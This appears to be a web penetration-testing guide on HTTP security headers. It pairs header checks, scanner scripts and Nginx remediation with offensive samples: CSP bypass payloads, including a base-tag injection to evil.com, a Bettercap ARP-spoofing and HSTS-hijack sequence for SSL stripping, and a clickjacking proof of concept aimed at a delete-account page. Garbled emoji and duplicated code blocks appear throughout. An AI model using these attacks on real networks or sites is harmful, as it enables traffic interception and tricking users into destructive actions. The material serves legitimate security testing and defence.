Security Headers Testing
HTTP security headers are a critical defense layer. Missing or misconfigured headers enable clickjacking, XSS, MIME sniffing, SSL stripping, and data leakage attacks.
๐ Why Security Headers Matter
๐ ๏ธ Header Testing Tools
Nuclei
Template-based header checks at scale
nuclei -t http/misconfiguration/ Burp Suite
Passive detection of missing headers
# Passive scan 1. Content-Security-Policy (CSP)
CSP controls which resources the browser is allowed to load. A weak or missing CSP dramatically increases XSS exploitability. Testing CSP is essential on every web pentest.
Testing CSP
# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"
# Common weak CSP patterns to look for:
# unsafe-inline โ Allows inline scripts (XSS exploitable)
# unsafe-eval โ Allows eval() (XSS exploitable)
# data: in script-src โ Allows data: URI scripts
# * or *.cdn.com โ Overly broad source allowlists
# Missing default-src โ No fallback policy
# Missing frame-ancestors โ Clickjacking possible
# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script># Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"
# Common weak CSP patterns to look for:
# unsafe-inline โ Allows inline scripts (XSS exploitable)
# unsafe-eval โ Allows eval() (XSS exploitable)
# data: in script-src โ Allows data: URI scripts
# * or *.cdn.com โ Overly broad source allowlists
# Missing default-src โ No fallback policy
# Missing frame-ancestors โ Clickjacking possible
# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>CSP Bypass Techniques
| CSP Directive | Weakness | Bypass |
|---|---|---|
script-src 'unsafe-inline' | Allows inline scripts | Standard XSS payloads work |
script-src 'unsafe-eval' | Allows eval() | Use eval-based payloads |
script-src *.google.com | Broad CDN allowlist | Host payload on Google Apps Script |
script-src 'nonce-xxx' | Nonce leaked or predictable | Reuse leaked nonce value |
No base-uri directive | Base tag injection possible | <base href="https://evil.com/"> |
No frame-ancestors | Clickjacking possible | Frame the target page |
2. Strict-Transport-Security (HSTS)
HSTS forces browsers to use HTTPS, preventing SSL stripping attacks. Missing HSTS allows tools like sslstrip and Bettercap to downgrade connections.
# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"
# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Test for HSTS weaknesses:
# 1. Missing header entirely โ SSL stripping possible
# 2. Low max-age (< 1 year) โ Short protection window
# 3. Missing includeSubDomains โ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ First visit vulnerable
# Check preload status
# Visit: https://hstspreload.org/?domain=target.com
# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"
# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Test for HSTS weaknesses:
# 1. Missing header entirely โ SSL stripping possible
# 2. Low max-age (< 1 year) โ Short protection window
# 3. Missing includeSubDomains โ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ First visit vulnerable
# Check preload status
# Visit: https://hstspreload.org/?domain=target.com
# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on3. X-Frame-Options & Clickjacking
Missing or weak framing controls allow clickjacking attacks where a user interacts with a transparent iframe over a fake page.
# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"
# Expected values:
# X-Frame-Options: DENY โ Cannot be framed
# X-Frame-Options: SAMEORIGIN โ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none'; โ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self'; โ CSP equivalent of SAMEORIGIN
# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"
# Expected values:
# X-Frame-Options: DENY โ Cannot be framed
# X-Frame-Options: SAMEORIGIN โ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none'; โ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self'; โ CSP equivalent of SAMEORIGIN
# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers<!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
<button style="position: absolute; top: 0; left: 0; z-index: 1;
opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
<iframe src="https://target.com/settings/delete-account"
style="width: 500px; height: 500px; border: none; z-index: 0;">
</iframe>
</div>
</body>
</html><!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
<button style="position: absolute; top: 0; left: 0; z-index: 1;
opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
<iframe src="https://target.com/settings/delete-account"
style="width: 500px; height: 500px; border: none; z-index: 0;">
</iframe>
</div>
</body>
</html>4. Other Critical Headers
| Header | Purpose | Recommended Value | Attack if Missing |
|---|---|---|---|
X-Content-Type-Options | Prevent MIME sniffing | nosniff | MIME confusion / XSS via uploaded files |
Referrer-Policy | Control referrer leakage | strict-origin-when-cross-origin | Token/path leakage via Referer header |
Permissions-Policy | Restrict browser features | camera=(), microphone=(), geolocation=() | Unauthorized access to camera/mic/location |
Cross-Origin-Opener-Policy | Isolate browsing contexts | same-origin | Cross-origin window handle leaks (Spectre) |
Cross-Origin-Embedder-Policy | Require CORS for subresources | require-corp | Side-channel attacks (SharedArrayBuffer) |
Cross-Origin-Resource-Policy | Prevent cross-origin reads | same-origin | Cross-origin data leakage |
5. Information Leakage Headers
# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"
# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu) โ Reveals server + OS + version
# X-Powered-By: Express โ Reveals framework
# X-Powered-By: PHP/8.1.2 โ Reveals language + version
# X-AspNet-Version: 4.0.30319 โ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7 โ Reveals MVC version
# X-Generator: WordPress 6.4 โ Reveals CMS + version
# These enable targeted CVE exploitation# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"
# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu) โ Reveals server + OS + version
# X-Powered-By: Express โ Reveals framework
# X-Powered-By: PHP/8.1.2 โ Reveals language + version
# X-AspNet-Version: 4.0.30319 โ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7 โ Reveals MVC version
# X-Generator: WordPress 6.4 โ Reveals CMS + version
# These enable targeted CVE exploitationAutomation Scripts
Bash Header Analyzer
#!/bin/bash
# Security Headers Analyzer
TARGET="$1"
echo "[*] Analyzing security headers: $TARGET"
HEADERS=$(curl -sI "$TARGET")
check_header() {
local header="$1"
local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
if [ -n "$result" ]; then
echo " [+] $result"
else
echo " [-] MISSING: $header"
fi
}
echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"
echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"
echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
echo " Cookie: $line"
if echo "$line" | grep -qi "secure"; then echo " [+] Secure flag"; else echo " [-] Missing Secure"; fi
if echo "$line" | grep -qi "httponly"; then echo " [+] HttpOnly flag"; else echo " [-] Missing HttpOnly"; fi
if echo "$line" | grep -qi "samesite"; then echo " [+] SameSite set"; else echo " [-] Missing SameSite"; fi
done#!/bin/bash
# Security Headers Analyzer
TARGET="$1"
echo "[*] Analyzing security headers: $TARGET"
HEADERS=$(curl -sI "$TARGET")
check_header() {
local header="$1"
local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
if [ -n "$result" ]; then
echo " [+] $result"
else
echo " [-] MISSING: $header"
fi
}
echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"
echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"
echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
echo " Cookie: $line"
if echo "$line" | grep -qi "secure"; then echo " [+] Secure flag"; else echo " [-] Missing Secure"; fi
if echo "$line" | grep -qi "httponly"; then echo " [+] HttpOnly flag"; else echo " [-] Missing HttpOnly"; fi
if echo "$line" | grep -qi "samesite"; then echo " [+] SameSite set"; else echo " [-] Missing SameSite"; fi
donePython Bulk Scanner
#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor
SECURITY_HEADERS = {
"Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
"Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
"X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
"X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
"Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
"Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}
def check_url(url):
try:
resp = requests.get(url, timeout=10, allow_redirects=True)
missing = []
for header, info in SECURITY_HEADERS.items():
if header.lower() not in {h.lower() for h in resp.headers}:
missing.append({"header": header, **info})
return {"url": url, "status": resp.status_code, "missing": missing}
except Exception as e:
return {"url": url, "error": str(e)}
if __name__ == "__main__":
urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
with ThreadPoolExecutor(max_workers=10) as pool:
results = list(pool.map(check_url, urls))
for r in results:
if "error" in r:
print(f"[-] {r['url']}: {r['error']}")
else:
print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
for m in r['missing']:
print(f" [{m['severity']}] {m['header']}: {m['description']}")#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor
SECURITY_HEADERS = {
"Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
"Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
"X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
"X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
"Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
"Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}
def check_url(url):
try:
resp = requests.get(url, timeout=10, allow_redirects=True)
missing = []
for header, info in SECURITY_HEADERS.items():
if header.lower() not in {h.lower() for h in resp.headers}:
missing.append({"header": header, **info})
return {"url": url, "status": resp.status_code, "missing": missing}
except Exception as e:
return {"url": url, "error": str(e)}
if __name__ == "__main__":
urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
with ThreadPoolExecutor(max_workers=10) as pool:
results = list(pool.map(check_url, urls))
for r in results:
if "error" in r:
print(f"[-] {r['url']}: {r['error']}")
else:
print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
for m in r['missing']:
print(f" [{m['severity']}] {m['header']}: {m['description']}")๐ก๏ธ Remediation & Defense
Recommended Header Configuration
# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;CWE References: CWE-693 (Protection Mechanism Failure), CWE-1021 (Improper Restriction of Rendered UI Layers), CWE-16 (Configuration)
โ Security Headers Checklist
- โ Content-Security-Policy present & strong
- โ Strict-Transport-Security with preload
- โ X-Frame-Options or frame-ancestors
- โ X-Content-Type-Options: nosniff
- โ Referrer-Policy configured
- โ Permissions-Policy set
- โ COOP/COEP/CORP headers
- โ Cookie flags (Secure, HttpOnly, SameSite)
- โ Server header hidden/generic
- โ X-Powered-By removed
- โ Technology-specific headers removed
- โ Error pages don't leak stack traces